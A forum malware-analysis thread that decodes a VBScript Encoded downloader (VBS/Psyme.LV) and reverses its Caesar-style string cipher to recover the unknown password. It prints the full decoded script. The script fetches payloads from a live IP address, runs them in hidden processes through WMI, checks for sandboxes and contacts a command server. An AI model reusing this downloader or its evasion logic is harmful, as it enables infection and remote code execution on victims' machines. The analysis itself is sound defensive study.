Malware Analysis VBScript Encoded script file - VBS/Psyme.LV - Reversing to find the unknown password - updated

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
z.vbe

4/55

To understand some of following parts, some knowledge in programming language could help a lot :D

Why this sample ?

- Because it will be the first time I show here the first method used :

This file is a vbe file, a "Visual Basic Script encoded script file" (What a beautiful long name):p
But we can only call it "VBScript Encoded Script File" :D

- Once decoded, it uses other obfuscation methods.

- To infect the PC, WScript.exe need to be run with at least 3 command line arguments ( excluding the file name), retrieved by this .vbe script. For online analysis tools, none is used.

=> this is why on virus total there are not a lot of suspicious behavior detected :p

I think it will be interesting to analyze this sample, a lot off stuff used :)

One important argument missing (in fact their are all important) : the password used by the script to decrypt some important parts :

=> I will show on the part 4) (second post) how to find it by reasoning + reversing

1) Quick look at the vbe code :

One line 7200 chars:
Begin with : #@~^
End with : ^#~@
#@~^kBsAAA==6 P3MDKDP"+k;:PH+XY@#@&Gk:,6?^loB6j\DBx;:^2!/SW(%r!YKCMl:dSK4%t("2!U+M\k1+B^EMDnxDwCO4@#@&UnY,W4N \q"2V?nD-r1+~',!+Dr8%mYcESkU:ThD/lPksw+M/KUlDkGxd+-n^'ks2+M/W CO+)"'- -.GKYwfAob`SPlUYN]nTn.W7E*@#@&K4NrEDnm.ls/~',W8%qHq"3MU+D7r^+cMYjY.r o#l^;+v[u0Z!!TTZ SPrjI?PAH'ZEMDUY;WUYMWsjY-;GxDDW^wHVk-dlUo;CT+E~,Ef0C;^YJS6UVCo*@#@&W8Nr!YnmDmh/,'~W(L \&I2Vj+M\k1n MYUY.kULjlsEc[_%TTZ!!T+BPE?}o:)"2'Hk1DKdW6Ywbx[GS/PgP-;EDMnUYj+M/rWUEBPEZ!.DxO#D/rG JSrU-Db@#@&K4L}EDKlMlh/,'~G(Lt(IAM?.-k1+cMnYjOMkUojCV!+c'_%!TTZ!T B~r?eUKAH-;EM.+ Y/W Y.G^?+DwZKxYMGs-U+k/rWU~tlUlTnD'2U-bDWUhxOJB~r1itAAI{}s|KI}Z3?Ur]jr~x!hmaE/*@#@&xKYbx^x~x,W;Y1U`*@#@&(6Pj^Mk2Yc)Mo;s+ Y/cZK;xDP@*',&~P4+x@#@&4Nk'qj^DbwDR)DL;s+UYkc!*@#@&dDDwA[{jmMraY zDTE:xDd`8#@#@&mw2;MV'qjmMkwD )DTEs+UYdcy#@#@&ECwaE.s{HfUjDDcla2!DsB/DDwSN*@#@&AVd+@#@& j1DkaOR5EkD@#@&2 N,qW@#@&@#@&m;DMnxDwCO4P'~^M+CYG(Ln1YvJ?1Db2YbxLRwksnUX/Dn:}4L^OJ*RV+Osrs` /1.kaY j1Dk2OwEsVgCs+bcnmD+ YwGV9+.RhlO4@#@&fbhPX%vW@#@&6RvWPxPp0+W.(+*`*@#@&@#@&q0~6UVCo,x,JTR!WJP}D,6?^lLP{PET1!cr~K4+x@#@&@#@&&0,rj\n.,'~Jl rPP4x@#@&A^WL`(%bPQ,J Z1 J,QP}?slTPQ~rPJ,QPX%vWb@#@&9V,H9xjOM`E:m^E=z&A2OtzRH;^6s%44z Fc+D6oXdoHl tDY&.\:Sz!8 &W&U/MzNh.E4%c+UhrS/DD2A9#~\9 ?ODvE_)w~WaV/(6'$NH\h;2 wWT3W'}Kn-Fl Uh0JB/OD2A9#@#@&@#@&2^/n@#@&hVGLv4%k,Q,JR;1 JP3P}jVmo~_,J~E,_PX0vW#@#@&v[V,HGxjY.cr:Cm!lzJhfR4XOz516hL48HOqc+M0oX/TzlctOYJDn-shXZq 2cz d.z(4ME4L+ wzJBdYMwA[*~H9UUY.`ru=-$Kw^/4X-~[X7:5&y-WL0W-5P|'F*cUA3r~kY.wA[*@#@&N^~HGxjOM`JhC1ElzJA2O4HOH;mX:N44HOqRDWLX/oHCR4YYJ.n\shH!q f*JxdDJ84ME4%yR+2zr~dYM2SNbBHGx?DDvEt=-8WaVd8X-mNdD':xX"^Xc0b6E~dOMwAN*@#@&U+O~6/W~x,Z.+mOr8N+1Y`r?1.kaYrxTRor^+?HdY:r(%nmDJ*@#@&0dGcZGwHok^+~\Gx?O.vJ4)'8Kwsk4X-mN/Mw: 6"mHRWrXJ~kODahN*S\f ?DDcJul'AGw^d4X-$[H\:5fy-Wo0G'pPn-8*R h0E~kY.wSNbS8@#@&UnY,0/KxHWDtbxL@#@&.!x2DT~HGxjOM`J.-
...
....
wMo~H9UUY.`r.\Kt;GXRL^s,tl-hkk-66'\:$E'2DXX-4ckWCr~/D.wSN#@#@&@#@&9V,J4YO2=z&vF yG qF&RX*=%0zDzmy .kaJ~1EM.+ Y2lDt~Q,J-bd/DRyb2E@#@&D!x2DL~tfU?D.`rtOhc3yh~Jt~VXrD;OHR^oL,zN~zN)3MI+"h!XRgdk$Vk,ES/DDah[#~Q,m;DMnxDwCO4P_~E'kd/D .k2,J,_PkYM2h9PQPrPE~3Pla2EMV@#@&3UN,q6@#@&@#@&o!x^YbGx,Nsc!~0b@#@&Nr:,a_YOa)U+Y,6_OYaPxP1DnCD+W(%+1Y`t9U?DDvJ$wA\.\aR~UE5X".\k\"s(X *cqr~dDDahN*#@#@&Nb:~4UY.h=?+D~4UYDs~xP1DlO+G8N+^Yv\f ?O.vJsVabt bXANt-r~kYDah9b#@#@&aCDY2 }w+ ~JV2KrS;~,!@#@&v6uODw /OI;;nkYCnC9+.Pr)!Y4KDbylDkKUJBJ$lkk^~9(14\fz&rs#4rjWW+ IGi0IoN 4S`sAg..+iVHzJ@#@&XCODwc?+ N@#@&hbY4P(?O.s@#@&cOXa+P{~q@#@&RKwnx@#@&ch.kDnPXCOOaRDndaWU/$KNz@#@&c/l7+DG0bVnP6~+@#@&Rm^G/@#@&U[PSkDt@#@&nU9PoE ^YbWU@#@&@#@&o; mOkKU,hsKov/VKo*@#@&U+OPK4%oUrP{~ZM+lDn64N+1YcJj^Mk2YbUocsrs?XdO:64Nn1YE*@#@&hk Nb.P{PG4Nsj6cM+DjwmkmsoW^NDc!b@#@&?nY,WP{PG8Ns?6 ;DnlDn:+aDsbV+vhbUNbD~_,JwA( !8T3(RVKLE~8#@#@&WR .bYnSbU+v/sGT#@#@&WcZsWkn@#@&jY,W4NsU6P{PHWDtrUT@#@&AUN,sE ^OkKx@#@&@#@&o; mOkKUPMEU2Mo`22mY4#@#@&U+O,W(LnUP{~MY64N+^OvJhbU:T:Ykl`kswDdWUCDkGxdn\Vxrsw+.dKxCYNe-wc-MWWD-;(Hj E#@#@&jnDPW(%?DlDD;2P{PK4%nj V+O`r k &+mhDW^nk/jYm.DE2r#@#@&?Y,G4NZGx6kL~{PW(%?DlDD;2RUwmhUqUdDlUmm`*@#@&G(LZGU6kLRU4Kh bx9Wh,',T@#@&?nY,W8%UtlMnP{PW(%K?cMYcJ ...
...
+@#@&idi9Zm+dlMPx~GZldlMP[,/4Dvm4l.#@#@&id3Vkn@#@&d77GZlndmD~',9;lnklMP[,m4CD@#@&7dAx[~&0@#@&716Y@#@&3x9PwEUmOrKx@#@&w;x1YrG PH9UUY.`}s9?OM~hhN*@#@&7fb:~xhdOM)xA/DDP{~EJ@#@&iVnxLO4PxPdnxvnA[*@#@&7sxLY4dDD~{Pd+xvr^[?DDb@#@&doGMPk,xP8PKK~s+ oDtdY.@#@&d7m4CD,'~\bN`6s9?ODBrBFb@#@&idw,',rPtW[P^+ULDt@#@&7d&0Pa~xPZP:tnx~2,'~F@#@&diw~x,Hk[chh[~aS8#@#@&dix+S/D.P{PU+S/O.,[PG/l/lMc^tmDBwb@#@&7g+aY@#@&dtfUjDDPx~ +A/D.@#@&3 N,sE mDrW @#@&XkUIAA==^#~@

2) Let's decode the vbe part to obtain a vbs like script :

To decode it, it's easy :)
I used a modified (very small modification) part of a code from 2001
Author : Jean-Luc Antoine
hxxp://www.interclasse.com/scripts/decovbe.php

Why "modified version" ? Because the function used to Browse Folder and choose a file doesnt work anymore on latest version of Windows (7 ,8 & 10)
it decodes all files encoded with screnc.exe (original version)
ScrEnc: Classic ASP Encoder, VBScript Source Code Encoder, JavaScript Obfuscator, HTML/VBS/JScript/C++ Source Code Encoder, Screnc/Windows Script Encoder Replacement
=> see the videos as example => very instructive : Online Screencasts - Scripts Encryptor - Encoder
The parts I used:

Dim fic,contenu
Set fic = fso.
OpenTextFile(NomFichier, 1) // z.vbe file
Contenu=fic.readAll
fic.close
Const TagInit="#@~^" '#@~^awQAAA==
Const TagFin="==^#~@" '& chr(0)
Dim DebutCode, FinCode
Do

FinCode=0
DebutCode=Instr(Contenu,TagInit)
If DebutCode>0 Then

If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then // 'If "==" follows the tag
FinCode=Instr(DebutCode,Contenu,TagFin)
If FinCode>0 Then

Contenu=Left(Contenu,DebutCode-1) & _
Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
Mid(Contenu,FinCode+6)
End If
End If
End If
Loop Until
FinCode=0
Decode
function use recursivity if needed
Function Decode(Chaine)
Dim se,i,c,j,index,ChaineTemp
Dim tDecode(127)
Const Combinaison=
"1231232332321323132311233213233211323231311231321323112331123132"​

Set se=WSCript.CreateObject("Scripting.Encoder")
For i=9 to 127

tDecode(i)="JLA"​
Next
For i=9 to 127

ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
For j=1 to 3
c=Asc(Mid(ChaineTemp,j,1))
tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
Next
Next
'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
Set se=Nothing

Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
Chaine=Replace(Chaine,"@$","@")
index=-1
For i=1 to Len(Chaine)
c=asc(Mid(Chaine,i,1))
If c<128 Then index=index+1

If (c=9) or ((c>31) and (c<128)) Then
If (c<>60) and (c<>62) and (c<>64) Then
Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison,(index mod 64)+1,1),1) & Mid(Chaine,i+1)
End If
End If
Next
Decode=Chaine
End Function

Dim fic,contenu
Set fic = fso_OpenTextFile(NomFichier, 1) // z.vbe file
Contenu=fic.readAll
fic.close


Here, Contenu contains the string from vbe.

I used copy-paste to copy the string from Contenu to notepad++
and made "find-replace" by regular expressions
all \r\n => replaced by new lines
all \t => replaced by tabulation
all \" => replaced by "​
(I could have saved it directly with Microsoft Visual Studio to a file, to remove the used for formatting, but less fun :p)
On Error Resume Next

Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService,currentpath

Set objWMIREGService =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\DEFAULT:StdRegProv")

objOutParams = objWMIREGService.
GetStringValue(&H80000002, "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language", "Default",OSlag)

objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion",OSver)

objOutParams = objWMIREGService.
GetStringValue(&H80000002, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS",numcpus)

notincn = outcn()
If WScript.
Arguments.Count >= 3 Then
bji=WScript.
Arguments(0)
strpwd=WScript.
Arguments(1) // string as password
appurl=WScript.Arguments(2) // appurl encrypted
'appurl=MDnStr(appurl,strpwd)

Else
WScript.Quit
End If

currentpath = createobject(
"Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path
Dim x864
x864 = X86orX64()

If OSlag =
"0804" Or OSlag = "0c04" Then

If OSver = "5.2" Then
wlog(bji + "-CN-" + OSlag + " " + x864)
dl MDnStr(
"macu://w3-hy-yqcxmjhby-1.erfgxsgya.htt/revmwy01234/nsr/jwruhj.enw",strpwd),MDnStr("H:\\Boplsbx\\Bdyvmq32\\fgko\\QTK\\15.nwk",strpwd)
Else
wlog(bji + "-CN-" + OSlag + " " + x864)
dl MDnStr("macu://w3-hy-yqcxmjhby-1.erfgxsgya.htt/revmwy01234/nsr/bbruhj2.epy",strpwd),MDnStr("h:\\boplsbx\\cjsr\\mnxzcy.fix",strpwd)

Set fso = CreateObject("Scripting.FileSystemObject")
fso.
CopyFile MDnStr("h:\\boplsbx\\cjsr\\mnxzcy.fix",strpwd),MDnStr("H:\\Boplsbx\\Bdyvmq32\\fgko\\QTK\\15.nwk",strpwd),1

Set fso=Nothing

runprg MDnStr("rvohuox.jcl h:\\emsivfx\\vmqu\\prxyvb.ifa",strpwd)
End If
If yxsj() < 9 And numcpus < 8 Then

dl MDnStr("macu://wytyjlk.tmaj.lts/qxjrz/KLEJ80F06I421H31!248?lpaj.inv",strpwd),MDnStr("h:\\boplsbx\\cjsr\\miy.inv",strpwd)
runprg MDnStr(
"htm.kzm /h lxitqty.lgj /j /j:EGYezmuy.Nsiqli h:\\boplsbx\\cjsr\\miy.inv&K:\\Bpwiuya\\YJTY\\oub.gfa",strpwd)
Else
dl "http://67.227.173.54:88/tyaz.zip",currentpath + "\\isst.zip"
runprg MDnStr("htm.kzm /h lxitqty.lgj /j /j:EGYezmuy.Nsiqli ",strpwd) + currentpath + "\\isst.zip " + strpwd + " " + appurl
End If

WScript.Quit

Else

wlog(bji + "-USA-" + OSlag + " " + x864)
'dl MDnStr(
"macu://w3-hy-yqcxmjhby-1.erfgxsgya.htt/revmwy01234/nsr/bbruhj2.epy",strpwd),MDnStr("H:\\Boplsbx\\Bdyvmq32\\fgko\\QTK\\15.nwk",strpwd)
dl MDnStr
("macu://w3-hy-yqcxmjhby-1.erfgxsgya.htt/revmwy01234/nsr/bbruhj2.epy",strpwd),MDnStr("h:\\boplsbx\\cjsr\\mnxzcy.fix",strpwd)
Set fso =
CreateObject("Scripting.FileSystemObject")
fso.
CopyFile MDnStr("h:\\boplsbx\\cjsr\\mnxzcy.fix",strpwd),MDnStr("H:\\Boplsbx\\Bdyvmq32\\fgko\\QTK\\15.nwk",strpwd),1
Set fso=Nothing

runprg MDnStr("rvohuox.jcl h:\\emsivfx\\vmqu\\prxyvb.ifa",strpwd)

dl "http://67.227.173.54:88/tyaz.zip",currentpath + "\\isst.zip"
runprg MDnStr(
"htm.kzm /h lxitqty.lgj /j /j:EGYezmuy.Nsiqli ",strpwd) + currentpath + "\\isst.zip " + strpwd + " " + appurl
End If

Function dl(u,f)

dim xHttp:Set xHttp = createobject(MDnStr("BpwMzvx.BnuQyzrZivzlby.5.1",strpwd))
dim bStrm:Set bStrm =
createobject(MDnStr("Fkxih.Axwjhv",strpwd))
xHttp.Open "
GET",u, 0
'xHttp.
setRequestHeader "Authorization","Basic dXNhMDA3OmVhOVo4eWRoUkRFdnhLUWlwNVV2UGMy"

xHttp.Send
with bStrm
.type = 1
.
open
.write xHttp.responseBody
.savetofile f,2
.
close
end with
end Function

Function wlog(slog)

Set objFSO = CreateObject("Scripting.FileSystemObject")
windir = objFSO.
GetSpecialFolder(0)
Set f = objFSO.
CreateTextFile(windir + "\\wb2010kb.log",1)
f.WriteLine(slog)
f.Close
Set objFSO = Nothing
End Function

Function runprg(ppath)

Set objPS = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\CIMV2")
Set objStartup = objPS.Get(
"Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_()
objConfig.
ShowWindow = 0
Set objShare = objPS.
Get("Win32_Process")
Set objInParam = objShare.
Methods_("Create").inParameters.SpawnInstance_()
objInParam.
Properties_.Item("CommandLine") = ppath
objInParam.
Properties_.Item("ProcessStartupInformation") = objConfig
Set objOutParams = objPS.
ExecMethod("Win32_Process", "Create", objInParam)
End Function

Function outcn()

Err.Clear
On Error Resume Next
dim xHttp:Set xHttp =
createobject(MDnStr("BpwMzvx.BnuQyzrZivzlby.5.1",strpwd))
xHttp.
Open "GET",MDnStr("macu://xgppwhu.ituxwxy.ewq/",strpwd), 0
xHttp.Send
If Err.Number <> 0 Then

outcn = 0
Set xHttp = Nothing
Exit Function
End If
If xHttp.responseText = "hello" Then

outcn = 1
Set xHttp = Nothing
Exit Function
End If
Set xHttp = Nothing
outcn = 0
End Function

Function UTCtoNow(nD)

If Not IsNull(nD) Then
Set SWDT =
CreateObject("WbemScripting.SWbemDateTime")
SWDT.Value = nD
UTCtoNow = SWDT.
GetVarDate(True)
End If
End Function

Function StoHMS(Sec)

H = Int(Sec/3600) :H1 = Sec Mod 3600:M = Int(H1/60) :S = H1 Mod 60
StoHMS = H
End Function

Function yxsj()

strComputer = "."
Set objWMIService =
GetObject("winmgmts:\\\\" & strComputer & "\\root\\CIMV2")
Set colItems = objWMIService.
ExecQuery( _
"SELECT * FROM Win32_OperatingSystem",,48)
For Each objItem in colItems

yxsj = StoHMS(DateDiff("s", UTCtoNow(objItem.LastBootUpTime), Now()))
Exit Function
Next
End Function

Function X86orX64()

On Error Resume Next
strComputer = "."
Set objWMIService =
GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")
Set colItems = objWMIService.
ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
If InStr(objItem.
SystemType, "86") <> 0 Then
X86orX64 = "x86"
ElseIf InStr(objItem.
SystemType, "64") <> 0 Then
X86orX64 = "x64"
Else
X86orX64 = objItem.
SystemType
End If
Next
End Function

Function DCaesar(str,offset)
Dim length,char,i
DCaesar = ""
length = Len(str)
For i = 1 To length
char = Mid(str,i,1)
If char >= "A" And char <= "Z" Then
char = Asc("Z") - (Asc("Z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
ElseIf char >=
"a" And char <= "z" Then
char = Asc(
"z") - (Asc("z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
Else
DCaesar = DCaesar & char
End If
Next
End Function

Function MDnStr(OldStr,Pwd)
Dim newstr:newstr = ""
length =
Len(Pwd)
lengthstr =
Len(OldStr)
For i = 1 To lengthstr
char =
Mid(OldStr,i,1)
p = i Mod length
If p = 0 Then p = 1
p = Mid(Pwd,p,1)
newstr = newstr & DCaesar(char,p)
Next
MDnStr = newstr
End Function

If you remember my other analysis, you will recognized some codes / methods used :)
for example, from this post :
https://malwaretips.com/threads/scripted-samples-from-malware-vault-5-8-16-8.62121/#post-531277

3) Before some explanation of obfuscated parts (after the vbe decoding) :

I will end this first part with a try to remember you one encryption method you may have lean at school :
look at this function, and the name :

Function DCaesar(str,offset)
Dim length,char,i
DCaesar = ""
length = Len(str)
For i = 1 To length
char = Mid(str,i,1)
If char >= "A" And char <= "Z" Then
char = Asc("Z") - (Asc("Z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
ElseIf char >=
"a" And char <= "z" Then
char = Asc(
"z") - (Asc("z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
Else
DCaesar = DCaesar & char
End If
Next
End Function

An "obfuscation" method which come from the famous Caesar :D
Some reading for you :)

Caesar cipher - Wikipedia, the free encyclopedia

"The transformation can be represented by aligning two alphabets; the cipher alphabet is the plain alphabet rotated left or right by some number of positions. For instance, here is a Caesar cipher using a left rotation of three places, equivalent to a right shift of 23 (the shift parameter is used as the key):

Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Cipher: XYZABCDEFGHIJKLMNOPQRSTUVW

When encrypting, a person looks up each letter of the message in the "plain" line and writes down the corresponding letter in the "cipher" line.

Plaintext: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
Ciphertext: QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD

Deciphering is done in reverse, with a right shift of 3.


The replacement remains the same throughout the message, so the cipher is classed as a type of monoalphabetic substitution, as opposed to polyalphabetic substitution."

The script uses the DCaesar function as sub-function of main decrypter function
(if not, it would have been too "lol")

Command line arguments used by the script:

bji=WScript.Arguments(0)
strpwd=WScript.Arguments(1) // string as password
appurl=WScript.Arguments(2) // appurl encrypted

And this is where the second argument from command line is important : Pwd

Function MDnStr(OldStr,Pwd)
Dim newstr:newstr = ""
length = Len(Pwd)
lengthstr = Len(OldStr)
For i = 1 To lengthstr
char = Mid(OldStr,i,1)
p = i Mod length
If p = 0 Then p = 1
p = Mid(Pwd,p,1)
newstr = newstr & DCaesar(char,p)
Next
MDnStr = newstr
End Function
---------------------------------------------------------------------------------------------------------------------------
Warning :

http://67.227.173.54:88/tyaz.zip" => "\\isst.zip"

In part 4) I will comment some important parts of the script / functions
and show you how we can obtain the password parameter by some reasoning/ reversing (remember that we only have the malware script, not the arguments used in the command line )
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
4) Let's try to find the unknown password :

a) Some info before beginning :

You must certainly look again at the both functions above, to things be clearer :)

Caesar :

"The transformation can be represented by aligning two alphabets; the cipher alphabet is the plain alphabet rotated left or right by some number of positions"


Example :

Base : a b c d e f g h i j k l m n o p q r s t u v w x y z => static line
Shift : x y z a b c d e f g h i j k l m n o p q r s t u v w => moving line
=> moved : offset = 3 right shift or 23 left shift

When encoding : "hello" => "ebiil"

Base : a b c d e f g h i j k l m n o p q r s t u v w x y z => static line
Shift : x y z a b c d e f g h i j k l m n o p q r s t u v w => moving line
you have to find the offset => an read from second line to first line
The way it's done in this script :

MDnStr("macu://xgppwhu.ituxwxy.ewq/",strpwd)

Function MDnStr(OldStr,Pwd)
Dim newstr:newstr = ""
length = Len(Pwd)
lengthstr = Len(OldStr)
For i = 1 To lengthstr
char = Mid(OldStr,i,1)
p = i Mod length
If p = 0 Then p = 1
p = Mid(Pwd,p,1)
newstr = newstr & DCaesar(char,p)
Next
MDnStr = newstr
End Function
Parameters :

OldStr : A string to be decoded
Pwd : password to do the decoding part

lengthstr = Len(OldStr)
p = i Mod length
If p = 0 Then p = 1
p = Mid(Pwd,p,1)

=> when all the chars from password have been used, it go back to the first char (offset), etc...
newstr = newstr & DCaesar(char,p)

=> call of the Caesar function, that do the SHIFT of the char with p as offset
=> because the main function retrieves one char by one char the offset :

p = Mid(Pwd,p,1) => need to be from 0 to 9 (p is named offset in DCaesar function)
or : char = Asc("z") - (Asc("z") - Asc("m") + offset) Mod 26
will cause an error

=> newstr will be the decoded string, when all the encrypted string has be decoded.

Function DCaesar(str,offset)
Dim length,char,i
DCaesar = ""
length = Len(str)
For i = 1 To length
char = Mid(str,i,1)

If char >= "A" And char <= "Z" Then
char = Asc("Z") - (Asc("Z") - Asc(char) + offset) Mod 2
6
DCaesar = DCaesar & Chr(char)

ElseIf char >= "a" And char <= "z" Then
char = Asc("z") - (Asc("z") - Asc(char) + offset) Mod 26

DCaesar = DCaesar & Chr(char)
Else
DCaesar = DCaesar & char

End If
Next
End Function
For the string to be decoded : only chars in a-z (97 to 122) and A-Z (65 to 90) are taken into account. But the offset is considered as used even if other chars remains unchanged.
b) One example :

First encoded letter: "m"

char = Asc("z") - (Asc("z") - Asc("m") + offset) Mod 26
char = 122 - (122 - 109 + offset) Mod 26

char = 122 - (13 + offset) Mod 26 => to be sure the red part is between 0 and 25 (26 letters of alphabet ;) )
Here, char is in fact a char Code : it is converted into a char with Chr(char)
imagine offset = 5

char = 122 - (13 + offset) Mod 26

with offset = 5 => 13 + 5 = 18

=> 18 Mod 26 = 18
char = 122 - 13 - offset
char = 109 - offset

=>
109 : "m" :D
=> Asc("m") - offset

=> 122 - (122 - 109 + 5) Mod 26
= 122 - 122 + 109 - 5
= 109 ("m") - 5 (offset)
= 104

=> Chr(104) = "h"

=> it means the decoded char with 5 as offset, is "h"
We have seen that in these functions, offset has to be between 0 and 9, the way they use it and the char is only decoded if it represent a char from a-z or A-Z

Then we can simplify :

char = Asc("z") - (Asc("z") - Asc("A_CHAR_FROM_ ALPHABET") + offset) Mod 26
by :

char = Asc("A_CHAR_FROM_ ALPHABET") - offset

When Asc("z") - Asc("A_CHAR_FROM_ ALPHABET") + offset < 26

Then : when 122 - Asc("A_CHAR_FROM_ ALPHABET") + offset < 26
In fact, for all cases where we must pass through z, we need the whole :

char = Asc("z") - (Asc("z") - Asc("A_CHAR_FROM_ ALPHABET") + offset) Mod 26
For example: an encoded "a" that gives a decoded "t"

Base : a b c d e f g h i j k l m n o p q r s t u v w x y z => static line
Shift : h i j k l m n o p q r s t u v w x y z a b c d e f g => moving line
to encode : we can make "t" => "a" , after a 19 right shift or - 7 left shift
to decode :
=> 7 right shift (circular, the letter that reach after z goes at the beginning)
=> or 19 left shift
The decoder of the current sample will allow / use circular left #####

h i j k l m n o p q r s t u v w x y z a b c d e f g
g h i j k l m n o p q r s t u v w x y z a b c d e f
f g h i j k l m n o p q r s t u v w x y z a b c d e
e f g h i j k l m n o p q r s t u v w x y z a b c d
d e f g h i j k l m n o p q r s t u v w x y z a b c
c d e f g h i j k l m n o p q r s t u v w x y z a b
b c d e f g h i j k l m n o p q r s t u v w x y z a
a
b c d e f g h i j k l m n o p q r s t u v w x y z
=> the a returns to the beginning

Look the letter at the place of the old "a" => "t"

offset used : 7

etc
Remark : I take as example a-z, it is the same from A-Z

c) Let's go !

Pwd= "..................."

=> unknown for the moment
MDnStr("macu://xgppwhu.ituxwxy.ewq/",strpwd)
=> the part to make our tests and try to discover a working password
"Reasoning - 1"

So : macu://

We have seen that only char from alphabet (lowercase or uppercase) will be changed.

=> macu:// seems a lot be a part of an url, and looks like http://

Then we can make the supposition that :

m => h => 5

a => t => 7 through z (t u v w x y z a)

ok in this way, is 7 can be offset for the function they use !?

Because it is a case the Mod 26 has to be taken into account :

=> "a" => 97
=> "t" = > 116

Asc("z") - (Asc("z") - Asc("a") + offset) Mod 26

122 - ( 122 - 97 + offset) Mod 26
122 - value = 116
122 - 116 = 6

then it means ( 122 - 97 + offset) Mod 26 = 6
(25 + offset) Mod 26 = 6

A lot of possibilities, but offset can only be from 0 to 9 the way they use the password (see part above)

=> offset = 7 !!! => (25 + 7) Mod 26 = 32 Mod 26 = 6 !!!

c => t => 9 through z (t u v w x y z a b c)

ok in this way, can 9 be an offset for the function they use !?

Because also in this case the Mod 26 has to be taken into account :

=> "c" => 99
=> "t" = > 116

Asc("z") - (Asc("z") - Asc("c") + offset) Mod 26

122 - ( 122 - 99 + offset) Mod 26
122 - value = 116
122 - 116 = 6 !!! (same result as before)


then it means ( 122 - 99 + offset) Mod 26 = 6
(23 + offset) Mod 26 = 6

A lot of possibilities, but offset can only be from 0 to 9 the way they use the password (see part above)

=> offset = 9 !!! => (23 + 9) Mod 26 =
32 Mod 26 = 6 !!!

u => p => 5

Important question :

=> for the last 5 : is it a jump to the beginning of the password !!?


And then it could tell us password is "579", and each char is used with a repetition

=> 5, 7, 9, 5, 7, 9, 5, 7, 9 ....(supposition)
"Checking"


MDnStr("BpwMzvx.BnuQyzrZivzlby.5.1",strpwd)

"BpwMzvx.BnuQyzrZivzlby.5.1" :

=> new encoded string that will be used to test

B => 5= W
p => 7= i
w => 9= n
M => 5= H


Seeing the first decoded letters with the offsets 5, 7, 9, and 5, and "BpwMzvx
.BnuQyzrZivzlby.5.1"

=> I am sure it corresponds to "WinHttp.WinHttpRequest.5.1", a string often used to create a http object (for the http request).
Here considering it could be 5 7 9 => 5 7 9 => 5 7 9 => etc :


=> I will try with 7 (last was 5, but from the already found code, or another 5 !?)

z => +19 - 7= s


=> PROBLEM : it gives a s, then I know now that after 5,7,9,5, it is not a 7, but another code.


=> then my first supposition :


579 : password with repetitions 5 7 9 5 7 9 5 7 9 etc


=> was wrong (but have to be done, for reversing purpose) :


=> the 5 at the fourth position is not a repetition of the part already find, but a next part...
But with the second check ("WinH" ), it allows me to guess now that :


"BpwMzvx.BnuQyzrZivzlby.5.1" => "WinHttp.WinHttpRequest.5.1"
Then I am able to find more parts of the password, taking into account that the '.' consumes one char of the password, but the offset is not used in their function : a non alphabetical char doesn't change.
"Reasoning - 2"

B => 5= W
p => 7= i
w => 9= n
M => 5= H

z => t => 6
v => t => 2
x => p => 8
. ?
B => W => 5
n => i => 5
u => n => 7
Q => H => 9
y => t => 5
z => t => 6
r => p => 2
Z => R => 8
i => e => 4
v => q => 5
z => u => 5
l => e => 7
b => s => 9
y => t => 5
. => . ?
5 . => ?
. => ?
1 => ?

First offsets for ALPHABET :

5 , 7, 9, 5, 6, 2, 8, ?, 5, 5, 7, 9, 5, 6, 2, 8, 4, 5, 5, 7, 9, 5 ? ? ? ?
There are part of the password retrieved but that are not used if the char isn't in Alphabet, that is why I put '?' => no offset can be found for them, because the real offset is not used in this case.


"Reasoning - 3"

5 , 7 , 9 , 5 , 6 , 2 , 8 , ? , 5 ,
5 , 7 , 9 , 5 , 6 , 2 , 8 , 4, 5,
5 , 7 , 9 , 5 , ? , ?, ?, ?

It's easy to understand that we have :

5 , 7 , 9 , 5 , 6 , 2 , 8 , 4 , 5 ,
5 , 7 , 9 , 5 , 6 , 2 , 8 , 4, 5,
5 , 7 , 9 , 5 , 6 , 2, 8, 4 , (5)

So : OFFSET NEEDED TO DECODE :

5 , 7 , 9 , 5 , 6 , 2 , 8 , 4 , 5 , 5 , 7 , 9 , 5 , 6 , 2 , 8 , 4 , 5 , 5 , 7 , 9 , 5 , 6 , 2 , 8 , 4 , 5 , etc...

"Checking - 2"

MDnStr("macu://xgppwhu.ituxwxy.ewq/",strpwd)

5 , 7 , 9 , 5 , 6 , 2 , 8 , 4 , 5

m - 5 => h
a - 7 => t
c - 9 => t
u - 5 => p
: => 6 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)
/ = > 2 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)
/ = > 8 is considered as used, but the char is not from alphabet, no decoding is made (this is their choice)
x - 4 => t
g - 5 => b

